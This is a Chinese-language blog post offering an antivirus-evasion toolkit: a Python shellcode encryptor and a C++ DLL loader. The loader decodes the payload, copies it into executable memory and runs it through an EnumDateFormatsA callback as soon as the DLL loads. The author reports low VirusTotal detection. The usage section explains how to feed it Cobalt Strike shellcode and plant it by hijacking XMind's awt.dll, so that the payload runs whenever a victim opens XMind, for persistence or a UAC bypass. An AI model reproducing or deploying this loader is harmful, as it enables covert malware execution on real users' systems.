前言:
本文章仅用于渗透交流学习,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任
本来不打算写免杀相关的了 但是确实是忍不住想吐槽,啧啧啧,因为有一直在研究进程注入以及ring3层的bypass免杀的一些东西 因为就得去给相关的文件做免杀杀的
然后给某步提交了一些样本
提交完不管是否公开
感觉就是转手就给厂商卖钱
这里公开一个样本
给大家看看时间 样本均是登录账户提交的 均未公开
14的时候是vt全过
17号的时候 本地做测试的时候发觉被杀了就又去看了下
卡巴和360就杀了
虽然杀了就杀了吧 静态又不是特别值钱 但是被白嫖还是会有点不爽
正文:
既然已经被杀了 那就扔出来玩呗 虽然卡巴和360杀了但是其他的没有啊
现在杀的 3/65 vt 微步 2/2
原理:这个师傅的项目 把他的加密算法拿过来 然后扔dll里面改了下 自写的也有咯 但是不公开也不扔vt和微步上了
其他自写的 这些不会扔云去了 太狗了
wdf+火绒+360 感觉可能也是全过
https://github/G73st/BypassAV
代码:
生成shellcode的加载器就是这个师傅写的这个
import os,codecs
from random import shuffle
#转纯数字存储
def encrypt2(srcStr,password):
arr = srcStr.split(',0x')
for i in range(1,len(arr)):
arr[i]=int(arr[i],16)
tempStr = ""
for index in range(len(str(arr[i]))):
tempStr=tempStr+password[int(str(arr[i])[index])]
arr[i]=str(len(tempStr))+tempStr
#print(arr)
return ''.join(arr)
#随机排列字符串
def shuffle_str(s):
str_list = list(s)
shuffle(str_list)
return ''.join(str_list)
#shellcode格式转换
def str_to_hex(shellcode):
raw = ""
for i in range(0, len(shellcode)):
s = hex(ord(shellcode[i])).replace("0x",',0x')
raw = raw + s
return raw
if __name__ == '__main__':
print("""
____ __ __
| _ \ /\ \ / /
| |_) |_ _ _ __ __ _ ___ ___ / \ \ / /
| _ <| | | | '_ \ / _` / __/ __| / /\ \ \/ /
| |_) | |_| | |_) | (_| \__ \__ \/ ____ \ /
|____/ \__, | .__/ \__,_|___/___/_/ \_\/ V1.0
__/ | |
|___/|_|
""")
print("exp: python BypassAV.py\r\n")
shellcode=input("输入shellcode:")
shellcode=codecs.unicode_escape_decode(shellcode)[0]
jm=str_to_hex(shellcode)
#转纯数字存储
passwd=shuffle_str('7032614895')
jm =passwd+encrypt2(jm, passwd)
print("\r\nshellcode加密完成\r\n")
with open('shellcode.txt','w') as f:
f.write(jm)
f.close()
loader
#include "pch.h"
#include <stdio.h>
#include <windows.h>
#include <iostream>
#include <string>
#include <algorithm>
#include <functional>
HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();
using namespace std;
DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
unsigned char ss[8000];
char str[] = "";
string str1(str);
string passwd1 = str1.substr(0, 10);
string Sangfor = str1.substr(10, str1.length());
const char* passwd2 = passwd1.data();
const char* Shenxinfu = Sangfor.data();
int k = 0;
for (int i = 0; i < Sangfor.length(); i++)
{
int len1;
len1 = Shenxinfu[i] - 48;
string dange = "";
for (int j = 0; j < len1; j++)
{
string a = to_string(Shenxinfu[i + j + 1] - 48);
int a1 = passwd1.find(a);
string a2 = to_string(a1);
dange.append(a2);
}
i = i + len1;
int dange4 = std::stoi(dange);
ss[k] = *((char*)&dange4);
k = k + 1;
}
HANDLE hAlloc = VirtualAlloc(NULL, sizeof(ss), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(hAlloc, ss, sizeof(ss));
EnumDateFormatsA((DATEFMT_ENUMPROCA)hAlloc, LOCALE_SYSTEM_DEFAULT, (DWORD)0);
return 0;
}
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}
使用方法:
①编译
创建一个dll文件
然后代码扔进去即可
shellcode 32位的即可
cs生成即可
然后把shellcode扔进去生成生成 运行即可
②组合利用
可能有人问单独的dll做何意义 那肯定要结合其他的exe做劫持 进而bypass uac或者说是权限维持呗
这里以自己比较喜欢的xmind为例 扔一个可劫持的吧awt.dll
感兴趣的可以去复现下
劫持xmind里面的一个dll 然后当以后用户点击xmind即可完美上线
更多推荐
DLL免杀技术探讨
发布评论